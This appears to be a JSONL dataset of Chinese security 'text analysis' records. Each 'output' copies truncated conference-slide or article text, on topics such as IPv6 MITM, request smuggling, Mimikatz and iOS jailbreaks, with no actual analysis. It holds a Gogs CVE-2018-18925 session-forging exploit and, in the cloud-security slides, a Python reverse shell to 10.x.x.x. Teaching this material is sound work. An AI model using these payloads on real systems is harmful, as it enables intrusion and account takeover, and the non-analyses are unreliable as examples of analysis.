Washington University (MA) University of Redlands (BA) Author multiple articles Network Forensics: The Tree in the Forest The Security Consulting Sugar High Hack First, Policy Second A mobile Device Story Certifications CISSP CCISO Certified Computer Forensic Specialist HackingDojo.com Learn how to use Kali Linux to attack network protocols CAM Table Overflow VLAN Hopping ARP Poisoning DHCP Spoofing If you know how to do this, please give up your seat so others can join in (assuming we have a full class) HackingDojo.com Pre-installed Kali Linux Prefer to have it as the main OS, not virtualized CAT5 cable of sufficient length We didnt know in advance how the rooms would be, so please bear with us when we get everyone connected Patience 4 hours, 4 tasks, a LOT of network congestion This is a HOSTILE NETWORK!! HackingDojo.com Do / Dont Everyone is here to learn, so dont impede others Embrace other peoples genius Workshop = Group Effort, work as a team Workshop != Taking over someone elses keyboard Were here to learn, not be pedantic over terms HackingDojo.com Content Addressable Memory Table Layer 2 (Switch) Records MAC addresses and saves them for switching purposes HackingDojo.com HackingDojo.com Overflow it, and have no mercy! When CAM table fills up, it pushes all data out all ports* Essentially, you turn a Switch (L2) into a Hub (L1) #macof <- tool of choice Collect the data Need to collect the packets as it leaves the switch Wireshark is probably the best-known tool, but any pcap capturing app will work HackingDojo.com Good to use when ARP Spoofing is: monitored or blocked Too much traffic across the network Want to attack system on yo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMITM ALL THE IPv6 THINGS! Scott Behrens & Brent Bandelgar DEF CON 21 August 2, 2013 Neohapsis Confidential 2 Who are we? Brent Bandelgar Security Consultant at Neohapsis Scott Behrens Senior Security Consultant at Neohapsis Adjunct Professor at DePaul University Nathaniel Couper-Noles Principal Security Consultant at Neohapsis - YES THIS IS PHOTOSHOPED - THIS ONE IS REAL Neohapsis Confidential 3 SLAAC Attack! Alec Waters, InfoSec Institute 2011 http://resources.infosecinstitute.com/slaac-attack/ Neohapsis Confidential 4 SLAAC Attack Win8 Fail :( Wheres the DNS server? Neohapsis Confidential 5 SLAAC Attack in 2013...the Bad Non trivial setup Configuration files IP addresses/ranges It uses old and deprecated packages (NAT-PT) Neohapsis Confidential 6 DUNCAN COULDN'T GET IT TO WORK?! VOX COULDN'T GET NAPTD TO COMPILE?! Neohapsis Confidential 7 SLAAC Attack in 2013 WE NEED Neohapsis Confidential 8 Solution: Sudden Six One Bash script to rule them all! Install dependencies Configure attack host Works with Windows 7 and 8! No more depreciated libraries and packages Currently tested on Ubuntu 12.04 LTS and Kali Neohapsis Confidential 9 Demo Demo video here Neohapsis Confidential 10 Known Issues Defenses Disable IPv6 by policy IPv6 network defenses (RFC 6105) Happy Eyeballs IPv4 fallback (RFC 6555) DNS Client race conditions Neohapsis Confidential 11 Future Work Configure IPv6 tunneling Automate basic network reconnaissance Detect IPv6 countermeasures Leverage THC IPv6 tools Specify MITM target scope Neohapsis Confidential 12 Download We would love your help! https://github.com/Neohapsis/suddensix Thank You www.neohapsis.com labs.neohapsis.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n针对开发人员的钓鱼 下午看到 @wonderkun 分享了一个项目 此时我还没意识到这个项目的问题在 clone 之后 Readme.md 的介绍是相当的给力我想看看它是如 何实现的 总之看起非常强大有 gif ,还有支持的功能列表就和所有的开源 RAT 一样 究竟是什么 图标看过去是正常的看上去和正常 VS 的项目文件一样 在经过提醒之后发现这个 VS 的项目文件有点奇怪 Type 为 Screen saver 文件的后缀名 为 ..sln Screen saver 为 Windows 屏幕保护程序在用户不活动时将会触发 屏幕保护程序 这个文件实际上就是一个 PE 就是一个可执行文件 并且伪装了图标 如何伪装的后缀 还有一个疑问它是如何伪装后缀的呢将文件名复制出来后完整的文件名是 : 复制出来的时候发现无法选择到 rcs.. 的位置 @wonderkun 说明为 unincode 反转字符 参考不要让它迷惑了你的双眼UNICODE反转字符串 由于插入 Unicode的RLO,导致文本反向排列 Pantheon V2 HVNCrcs..sln 1 这里的 0x202e 就是 RLO.删除该编码重新解析 参考http://tools.jb51.net/transcoding/chinese2unicode 真实的的文件名为 执行效果是啥 沙箱跑一下emmm 这个绕过方式有点奇怪但是有效 Pantheon V2 HVNCnls..scr 1 扔下 VT 还是有沙箱检查到了动作 后续的分析摸了 好吧我分析不出来 小结 Unicode 使用 RLO 反转字符串 反转的字符串使用 scr非 exe 降低警觉 IDA 直接打开会无法找到文件(也是一个点吧) 项目描述的非常真实包括 gif,图片 修改图标降低警觉 猜测内部的动作 反沙箱比如使用 cmd 进程来了不断 sleep 反调试 使用 discord 和 aws 托管 下一步的 payload 从名字就知道是加密的", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n42 2020年12月 第 12 期第33卷 总第280期月刊 2020 年 第 12 期 电信工程技术与标准化 中国移动网络与信息安全专题 基于IPv6的资产管理系统概要设计与实现 李江1李肖肖1安宝宇2付俊1何申1 (1 中国移动通信有限公司研究院北京 1000532 中国移动通信集团公司信息安全管理 与运行中心北京 100053) 摘 要 IPv6具备海量的地址空间地址生成随机性强对IPv6网络空间中的资产进行管理将面临许多新的挑战本 文吸取了业界IPv6存活地址快速发现理论的核心思想结合现在的网络特点设计开发出基于IPv6的资产管 理系统用于辅助对IPv6资产进行管理 关键词 IPv6资产管理扫描 中图分类号 TN918 文献标识码 A 文章编号 1008-5599202012-0042-06 收稿日期 2020-11-07 随着 5G 网络及物联网应用的迅速发展海量终端 设备系统平台的部署及应用也为 IPv6 网络空间下的 资产管理提出了挑战IPv6 网络空间下地址长度扩展 到 128 bit传统的对于 IPv4 的资产管理方式无法满足 IPv6 资产管理的需要如何对 IPv6 网络空间中的资产 进行管理将面临许多新的挑战 1 研究目标和现状 IPv6 资产管理的核心难点在于如何利用有限资源 在可接受的时间范围内准确地掌握资产状态的变化并 对其进行有效监控然而在 IPv6 资产管理技术上存 在多重挑战 1IPv6 可用地址空间更大因为 IPv6 的地址长 度已由原 IPv4 的 32 bit 扩展到 128 bit可表示的地址 数量成指数倍增长原有应对 IPv4 网络内资产管理的 大部分方式方法均不太适用 IPv6 的网络空间 2IPv6 地址生成随机性强IPv6 网络支持设备 通过多种方式来获取 IPv6 地址尤其是无状态地址生 成方式SLAAC该地址生成方式会产生大量随机强 的 IPv6 地址因考虑到隐私安全问题很难进行反向 推测并且该方法已大量应用到实际场景中 3IPv6 常用子网划分方法造成子网空间巨大 IPv6 网络在实际使用中的子网划分过程中经常会按照 / 64 大小的网段来划分供单个局域网来使用在现实场 景下当网络由多个类似 /64 大小的子网构成时由 于这种网络中可用地址空间异常庞大导致无法通过 常规手段来方便快速地收集该网络中现有存活的 IPv6 资产 因此利用有限的时间和空间来更便捷的管理 IPv6 DOI:10.13992/j.cnki.tetas.2020.12.009 43 中国移动网络与信息安全专题 电信工程技术与标准化 2020年12月 第 12 期第33卷 总第280期月刊 2020 年 第 12 期 网络中的资产是一个非常棘手的问题在技术上使用 单一方式对 IPv6 资产进行有效管理是难以实现的目 前业界已经提出过多个针对 IPv6 资产发现的技术与方 法典型的包括探针密集采集法DNS 反向查询法网 络流量分析法和编址规则推测法这 4 种方法在某些特 定场景中可以辅助对 IPv6 的资产进行管理但是一种 方法仅适用于有限的场景 本文吸取了上述已公开的 IPv6 存活地址快速发现 理论的核心思想通过对大量文献进行研究再依托探 测 IPv6 地址的常见算法设计开发出基于 IPv6 的资产 管理系统由一个或多个已知的支持 IPv6 的域名触发 综合多种 IPv6 地址探测算法逐步挖掘更多存活 IPv6 地址通过在实际网络环境中对该系统工具的初步应用 收集到了一批 IPv6 资产数据在一定程度上补足了当 前对 IPv6 暴露面管理缺乏有效工具的短板形成了对 应的能力储备 2 系统设计与实现 2.1 概要设计 IPv6 资产管理系统由 6 个模块构成分别为 IPv6 地址初始收集模块IPv6 地址扩容收集模块关联地址 探测扫描模块编址规则扫描模块随机地址探测扫描 模块和基于日志的存活地址收集模块 上述 6 个模块协同工作最终收集到大量有效的 IPv6 存活地址系统示意如图 1 所示 2.2 IPv6 地址初始收集模块 本功能模块完成 IPv6 地址的初始收集对当前提 供 IPv6 服务的域名集合进行反向 DNS 查询获取到与 域名对应的 IPv6 地址信息并汇总生成 IPv6 地址集 如果当前尚无可用的域名集合也可通过网络爬虫的大 规模的爬取来形成域名集合具体实现方法如下 1通过域名查询工具或指令对具体的域名网址进 行域名反查得出 IPv6 地址此步骤可以获取到一批 初始的 IPv6 地址 2通过域名查询工具或指令中指定 DNS 服务器 参数的功能指定多个不同服务商或地区的 DNS 服 务器并再次进行域名反查 IPv6 地址的操作以增 加获取到不同地址信息的可能性以 nslookup 指令 为", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThis document and its content is the property of Airbus Defence and Space. It shall not be communicated to any third party without the owners written consent | [Airbus Defence and Space Company name]. All rights reserved. CANSPY A Platform for Auditing CAN Devices Arnaud Lebrun Jonathan-Christofer Demay 2 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices Auditing conventional IT systems Penetration testing A form of security audit Assess the risks of intrusion Actual tests instead of a review process The point of view of a real attacker (the black-box approach) Relevant evaluation of impact and exploitability Limitations Less time Less resources More ethics Counter-measure: the grey-box approach 3 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices The CISOs dilemma The hand they are dealt with Huge scope of responsibility Continuous changes Major security threats Risk of substantial damages Limited budget Their response They rely on penetration testing They welcome the gray-box approach They rely on risk analysis first and foremost They divide perimeters accordingly 4 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices What about car manufacturer ? They are starting to include cyber-security along with conventional safety 5 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices What about car manufacturer ? They are starting to include cyber-security along with conventional safety 6 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices What about car manufacturer ? They are starting to include cyber-security along with conventional safety 7 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Auditing CAN Devices What about car manufacturer ? They are starting to include cyber-security along with conventional safety 8 Arnaud Lebrun Jonathan-Christofer Demay CANSPY A Platform for Au", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nGet Off of My Cloud: Cloud Credential Compromise and Exposure Ben Feinstein & Jeff Jarmoc Dell SecureWorks Counter Threat Unit 2 The Public Cloud 3 Brief Introduction to the Amazon Cloud First, some terminology and definitions Amazon Web Services (AWS) Elastic Compute Cloud (EC2) Amazon Machine Image (AMI) Simple Storage Service (S3) Elastic Block Store (EBS) 4 AWS Security Credentials Access Credentials Access Keys X.509 Certificates Amazon EC2 Key Pairs Amazon CloudFront Key Pairs Sign-In Credentials Email Address & Password AWS Multi-Factor Authentication Device (optional) Account Identifiers AWS Account ID Canonical User ID 5 AWS Access Credentials: Access Keys Each Access Key has a public and a secret part Access Key ID Unique identifier, Included in each API request Secret Access Key Used to calculate a digital signature included in each API request Amazon validates digital signature to ensure authenticity of each API request Managed via Access Keys tab of AWS Security Credentials page [screenshot] Used for making requests to AWS product REST or Query APIs Used for SOAP APIs of Amazon S3 and Amazon Mechanical Turk Used for making requests to Amazon CloudFront control API For security purposes, Amazon recommends rotating Access Keys every 90 days 6 Managing Access Keys 7 AWS Access Credentials: X.509 Certificates AWS can generate certificate and private key files, or user can provide their own certificate Trade-off of convenience versus security Managed via X.509 Certificates tab of AWS Security Credentials page [screenshot] Used for making requests to AWS product SOAP APIs with the exception of Amazon S3 and Amazon Mechanical Turk Also used for bundling AMIs, which are encrypted and signed using users certificate and private key For security purposes, Amazon recommends replacing X.509 Certificates every 90 days 8 Managing X.509 Certificates 9 AWS Access Credentials: EC2 Key Pairs Created and managed with Amazon EC2 API, o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBrowser-Powered Desync Attacks James Ke(le A New Frontier in HTTP Request Smuggling Warning / disclaimer These slides are intended to supplement the presenta1on. They are not suitable for stand-alone consump1on. You can find the whitepaper and presenta1on recording here: h=ps://portswigger.net/research/browser-powered-desync-a=acks If its not uploaded yet, you can get no1fied when its ready by following me at h\"ps://twi\"er.com/albinowax - albinowax A problem and a discovery 2019 Problem: Request Smuggling false positives Solution: Never reuse HTTP/1.1 connections 2021 Problem: Connection-locked request smuggling Solution: Always reuse HTTP/1.1 connections X X CVE-2020-12440 replica lab on portswigger.net/academy portswigger/{http-request-smuggler,turbo-intruder} Full PoC exploit code available in whitepaper HTTP handling anomalies Client-side desync Pause-based desync Defence & Takeaways Q&A Outline HTTP handling anomalies The request is a lie Connection state attacks: first-request validation GET / HTTP/1.1 Host: www.example.com GET / HTTP/1.1 Host: intranet.example.com GET / HTTP/1.1 Host: www.example.com GET / HTTP/1.1 Host: intranet.example.com HTTP/1.1 200 OK -connection reset- HTTP/1.1 200 OK HTTP/1.1 200 OK Internal website Connection state attacks: first-request routing POST /pwreset HTTP/1.1 Host: example.com POST /pwreset HTTP/1.1 Host: psres.net POST /pwreset HTTP/1.1 Host: example.com POST /pwreset HTTP/1.1 Host: psres.net HTTP/1.1 302 Found Location: /login HTTP/1.1 421 Misdirected HTTP/1.1 302 Found Location: /login HTTP/1.1 302 Found Location: /login Reset your password: https://psres.net/reset?k=secret Sometimes: 200 OK Sometimes: 400 Bad Request X The surprise factor POST / HTTP/1.1 Transfer-Encoding: chunked 0 malicious-prefix :method POST :path / For request smuggling, all you need is a server taken by surprise ALB 2021-07-28: Reported 2021-08-05: Fixed 0 malicious-prefix HTTP/1.1 404 Not Found Content-Length: 162 GET / HTTP/1.1 Host: example.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Mimikatz

--- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **项目地址** - https://github.com/gentilkiwi/mimikatz **文章 & Reference** - [九种姿势运行 Mimikatz](https://www.freebuf.com/articles/web/176796.html) - [Mimikatz 使用小技巧](https://www.webshell.cc/5343.html) - [域渗透Dump Clear-Text Password after KB2871997 installed](https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Dump%20Clear-Text%20Password%20after%20KB2871997%20installed.html) - [红蓝对抗内网渗透-免杀抓取windows hash](https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg) - [Mimikatz的18种免杀姿势及防御策略(上)](https://mp.weixin.qq.com/s/CiOaMnJBcEQfZXV_hopzLw) - [Mimikatz的18种免杀姿势及防御策略(下)](https://mp.weixin.qq.com/s/0p88rj-tWClLa_geKMkPgw) - [防御Mimikatz攻击的方法介绍](https://www.freebuf.com/articles/network/180869.html) - [获取Windows高版本明文密码](https://mp.weixin.qq.com/s/Q-JBDdt6jPi9fawlGAiHzg) - [红队技巧绕过ESET_NOD32抓取密码](https://mp.weixin.qq.com/s/FaiNEUX2wcscotkyAqUO2Q) - [Exploring Mimikatz - Part 1 - WDigest](https://blog.xpnsec.com/exploring-mimikatz-part-1/) - [Mimikatz中sekurlsa::wdigest的实现](https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADsekurlsa-wdigest%E7%9A%84%E5%AE%9E%E7%8E%B0/) - [Exploring Mimikatz - Part 2 - SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/) - [深入分析MimikatzSSP](https://www.anquanke.com/post/id/180001) - [MiniDumpWriteDump via COM+ Services DLL的利用测试](https://3gstudent.github.io/3gstudent.github.io/MiniDumpWriteDump-via-COM+-Services-DLL-%E7%9A%84%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95/) - [Extract credentials from lsass remotely](https://en.hackndo.com/remote-lsass-dump-passwords/) - [缓解Mimikatz风格攻击](https://xz.aliyun.com/t/4180) - [你真的了解LSA Protection (RunAsPPL)吗](https://mp.weixin.qq.com/s/7DmfWMHjLXTfCHdoOWQ5qA) - [从svchost.exe转储RDP在线用户的明文密码](https://mp.weixin.qq.com/s/8UU-w6J7JaNLn7lE1mTHZA) - [读取lsass.dmp报错](http://hone.cool/2018/05/23/%E8%AF%BB%E5%8F%96lsass-dmp%E6%96%87%E4%BB", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents Dragon Tails: Preserving Supply- Side Vulnerability Disclosure Stewart Scott, Trey Herr Sara Ann Brackett, Yumi Gambrill, Emmeline Nettles #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research What are sources of security? Global bug-bounty market size projected to reach $5.5 billion by 2027 Manifests the many eyes theory of security Increasing adoption by government agencies and departments Proliferation of bug-bounty platform companies Governed by Coordinated Vulnerability Disclosure processes (CVD) 2 #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research Anonymized bug-bounty platform revenue streams by country, from Congressional TestimonyDakota Cary, February 17, 2022 3 #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research Can bad policy break this ecosystem, and can we detect those supply shocks? 4 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell CMU SEI CERT CC -The CERT Guide to Coordinated Vulnerability Disclosure 5 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately. December 8,* 2021: Researcher follows up with ASF with updates. December 10, 2021: Patching and public announcements of l4s begin. 6 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately. December 8,* 2021: Researcher follows up with ASF with updates. December 10, 2021: Patching and public announcements of l4s begin. *December 8 per Bloomberg, December 9 per the Wall Street Journal 7 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately. December 8,* 2021: Researcher foll", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我是衬衫 忍者的弟弟 今天我去 TG 看片 发现了一个机器人 感觉很好玩 那我们也整一个 用来扫描吧 首先 我们去买一个服务器 好的 1 分钟过去了 我们买完了 我们现在需要注册一个机器人 @BotFather TG 加他 起一个好听一点的名字就可以了 很快啊 我们就拿到了自己的 Token https://core.telegram.org/bots/api 这个是 API 文档 可以随便看看 我建议大家先去看一次 python-telegram 那么开始吧 导包下 from telegram import Update,Bot from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext 首先 main 方法 绑定方法 我们先看看 start 方法去熟悉一下 update.message.reply_text(这个是回复用的) 我们可以通过这个 去发消息 怎么读取消息呢 用这个 update.message.text 好的 我们弄出来最基本的东西了 我们现在可以通过 TG 发消息来调用 python 了 举个例子 我们来弄一个目录爆破 Pathscan Bot 是用来发文件的 在上文 这个里面我用了 ffuf 来扫 因为快 然后保存到 test.json 里 用 sendDocument 去发文件 这里面我们输入的命令是/pathscan 通过上面的 add_handler 绑定的那个哦 我的一些正则 瞎 jb 写的 #!/usr/bin/env python # -*- coding: utf-8 -*- import re import requests import os from ESD import EnumSubDomain import nmap import socket from telegram import Update,Bot from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext bot=Bot(\"your token\") def parseDomain(info): domain= re.findall('https?://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))+', info) return domain[0] def parseInfo(info): #取 URL url = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',info) return url[0] def parseIP(info): ip = re.findall(\"(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$\",info) domain = re.findall(r'(?:[a-zA-Z0-9](?:[a-zA-Z0-9\\-]{,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,6}', info) if ip : return ip[0] elif domain : new_ip = socket.gethostbyname(domain[0]) return new_ip def parseRootDomain(info): rootdomain=re.search(\"([a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62}))\",info) return rootdomain[0] def start(update: Update, context: CallbackContext) -> None: update.message.reply_text(\"好兄弟 给我发个 URL 让我扫描吧\") update.message.reply_text(update.message.text) def pathscan(update: Update, context: CallbackContext) -> None: global bot update.message.reply_text(parseDomain(update.message.text)+\"扫描中好兄弟请不要着 急\") domain=parseDomain(update.message.text) os.system(\"ffuf -w /root/dict/fuzz", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJokes, vulnerabilities, and analysis of commit statements Logan Lodge and Bruce Potter l0l0@shmoo.com gdead@shmoo.com Whats the only thing you should believe? Ever checked something in to your repository with statements like this need to be fixed knowing damn well you never will go back and fix it? Ever write something random in the commit statements because you know no one will ever read them? Ever invent new profanity in comments? Yeah, weve done all that too This projects goal is to analyze commit statements and comments looking for amusing, evil, and interesting things No, wait A primer (in this case) is loosely defined as a description of elementary issues for a given topic It is pronounced prim-er Primer (prahy-mer) is the shit you put on walls before you paint Want an example? Watch Jodie Foster in Contact Then watch her in Taxi Driver just cuz Three major source repository software suites CVS SVN GIT Theyre all impressively different Theres also terabytes of publicly available repositories Yeah.. There are other repos. You can debate each over in the corner with the GNU/Linux folks We focused on GIT and SVN SVN because we know it GIT because you can get everything via git clone. Mostly C-based repositories from places like Github Sourceforge And just googling for strings that indicate a public repos Some python and others Its a surprise Identify targets SF/Github/Google searches Take URL list and go git them (hahaha) Shove files in to a hashed directory structure Needed a way to quickly navigate a HUGE file store (stat() kinda sucks) MD5 hash of the name, then broke down directories based on hash value Could have stored it in a DB, but honestly that would be grotesque Parse all the flat files that we got from the repos and put interesting things in the MySQL database Comments Commit statements Other stuff Create a web interface to allow for robust querying Turbogears makes source comments sexy Python-based Must be a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nD A V E J O S E P H S E N homeless vikings S H O R T- L I V E D B G P S E S S I O N H I J A C K I N G , A N E W C H A P T E R I N T H E S PA M WA R S Dave Josephsen is author of the upcoming book Building Monitoring Infrastructure with Nagios (Addison-Wesley). He currently works as the senior systems administrator for a small Web hosting com- pany and donates his spare time to the SourceMage GNU Linux project. dave-usenix@skeptech.org T H E F I R ST U N S O L I C I T E D, C O M M E R- cially motivated bulk email was sent on ARPANET in 1978 by a DEC representative named Gary Thuerk [1]. A full 28 years later, spam has evolved into a 55 billion message per day [2] global epidemic that has affect- ed areas of technology unimaginable to the ARPANET engineers of 1978. This article will chronical the history of the spam wars, a war that has almost always been waged along two technological fronts: those of content filtering and delivery countermea- sures. By examining the history of the arms race in the context of recent attacks with zombied PCs and short-lived BGP session hijacks, I conclude that one of these fronts may in fact be a dead end and worth aban- doning altogether. From 1978 to 1994, the business of spam remained a nonissue because email itself was in an infantile state. In the early 1990s, most spam was sent in the context of USENET newsgroups, and by a few identifiable individuals, such as Canter, Siegel, and Wolff [3]. In 1994 the net wit- nessed its first real spam, sometimes referred to as the spam heard round the world, when Canter and Siegels green card message was sent to at least 6000 Usenet groups [4]. In the early days, retribution was swift [5], but things degenerated quickly. In 1995, Floodgate, the first commercially available spamware was available. By 1996, four more automated spam packages were available for sale, as were lists of millions of email addresses [6]. The spammers wasted no time legitimizing their so-called busi- ness model with variou", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Gogs 任意用户登录漏洞CVE-2018-18925 gogs是一款极易搭建的自助Git服务平台具有易安装跨平台轻量级等特点使用者众多 其0.11.66及以前版本中go-macaron/session库没有对sessionid进行校验攻击者利用恶意sessionid即可读取任意文件通过控制文件内容来控制session内容进而登录任意账户 参考链接 - https://github.com/gogs/gogs/issues/5469 - https://xz.aliyun.com/t/3168 - https://www.anquanke.com/post/id/163575 ## 环境启动 执行如下命令启动gogs ``` docker compose up -d ``` 环境启动后访问`http://your-ip:3000`即可看到安装页面安装时选择sqlite数据库并开启注册功能 安装完成后需要重启服务`docker compose restart`否则session是存储在内存中的 ## 漏洞利用 使用Gob序列化生成session文件 ```go package main import ( \"bytes\" \"encoding/gob\" \"encoding/hex\" \"fmt\" \"io/ioutil\" \"os\" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{}{\"_old_uid\": \"1\", \"uid\": uid, \"uname\": \"root\"} data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } err = ioutil.WriteFile(\"data\", data, os.O_CREATE|os.O_WRONLY) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) } ``` 然后注册一个普通用户账户创建项目并在版本发布页面上传刚生成的session文件 ![](1.png) 通过这个附件的URL得知这个文件的文件名`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10` 然后构造Cookie`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`访问即可发现已经成功登录id=1的用户即管理员 ![](2.png) 完整的利用过程与原理可以阅读参考链接中的文章", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nKCon KCon Breaking iOS Mitigation Jails to Achieve Your Own Private Jailbreak Min(Spark) Zheng @ Alibaba Mobile Security ONLY AVAILABLE AT THE SCENE iOS status Apple sold more than 1 billion iOS devices. More than 380,000 registered iOS developers in the U.S. It was reported that iOS is more secure than Android due to its controlled distribution channel and comprehensive apps review. E.g., FBI vs Apple. However, there are still potential risks for iOS systems. We will share our private jailbreak and show how to break the protection of iOS system. iOS System Architecture Sandbox Team ID Entitlement Kernel KPP Jailbreak! ONLY AVAILABLE AT THE SCENE iOS mitigations Sandbox Team ID Entitlement Kernel KPP Jailbreak! You can not touch most of kernel interfaces unless you escape the sandbox. You can not execute or load any binary unless the bin has the platform-binary team-id. You can not create hid devices unless the bin has the com.apple.hid.manager.user-access-device entitlement. You can not control the kernel unless you have kernel bugs and bypass kernel heap mitigations. You can not patch the kernel unless you can bypass the kernel patch protection. Finally, you did it! Sandbox and NSXPC iOS apps are in the sandbox and they are separated from each other. App can communicate with unsandboxed system services through IPC (e.g., mach message, XPC, NSXPC). In this talk, we focus on NSXPC and discuss one IPC vulnerability we found that can escape the sandbox. APP sandbox XPC services NSXPC services APP sandbox iOS 9.0 Jailbreak: CVE-2015-7037 com.apple.PersistentURLTranslator.Gatekeeper This service has path traversal vulnerability that an app can mv folders outside the sandbox with mobile privilege (used in Pangu9 for jailbreak). ONLY AVAILABLE AT THE SCENE ONLY AVAILABLE AT THE SCENE ONLY AVAILABLE AT THE SCENE Heap spray through OOL msg Traditional xpc_dictionary heap spray. Failed because the data was freed before pc control. Asynchronous xpc_dictionary heap s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n深入浅出云计算安全 吴翰清 2012-07 Who am I? Alibaba security (7 years) (3个月1w册) icloud是云吗 互联网未来的入口 随时随地上网 改变了使用互联网的方式 但这不是传统意义的云计算 云计算的前世今生 电厂模式 Utility Computing 网格计算 云计算 云计算的使命 Computing as Utility 两种云计算 弹性计算 海量数据计算 弹性计算改变建站方式 按需使用按需付费 专业运维服务化 快速部署自助开通 互联网的长尾用户 中小站长创业者 运营商政府公安金融 奢侈品变成消费品 弹性计算冲击安全产业 销售模式变成互联网模式 Security as a Service 结论变革的浪潮就在眼前 弹性计算的安全挑战 巨大的共享环境 网络安全问题 虚拟化技术安全问题 全虚拟化半虚拟化操作系统级虚拟化 虚拟机逃逸问题 (CVE-2011-1898) D.O.S. Hardware Hypervisor Domain 0 Guest OS Domain U Guest OS Domain U Host xx XEN的DOS CVE-2012-2625 XEN 4.x CVE-2010-4255 XEN 4.0.1 CVE-2010-4247 XEN 3.4.0 CVE-2010-3699 XEN 3.x AppEngine的环境安全 Java sandbox PHP sandbox 语言级沙箱 系统级沙箱 CVE-2012-0507 Attacking java security manager 突破java sandbox 弹性计算的网络安全 防火墙API 防止ARP 欺骗srcip伪造 自动化清洗DDOS 海量数据计算的安全 以hadoop为例 Map-Reduce简介 海量数据计算的安全挑战 保护用户数据 隐私数据 互联网公司使用hadoop的方式 Hadoop 为linux设计 共享gateway 共享gateway的问题 /home: Hacking Hadoop 原始数据的导 入计算结果的 导出 运行环境安全 并不仅仅是 认证与授权 Map-Reduce job/UDF 用户上传的java code 缺乏sandbox String pysh = \"#!/bin/sh\\r\\npython -c \\\"import os;import sys;import socket;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname ('10.x.x.x'),9999));s.send('Welcome my master\\\\r\\ \\n');os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send('Is there a shell?\\\\r\\ \\n');os.system('/bin/bash');s.close();s.send('See u next time! \\\\r\\\\n');\\\"\"; DEMO 如何解决隐私问题 张三 男 13307491234 北京市一号胡同 李四 女 13466655678 天津市二号小区 Data Masking 保留统计信息掩盖个人信息 张A 男 1330749xxxx 李C 女 1346665yyyy 北京市ABCD胡同 43010419990909MMM1 天津市EFGH小区 42010519880808NNN4 总结 云计算改变互联网 弹性计算的环境安全网络安全 海量数据计算的数据安全隐私 问题 Question? 联系我 微博 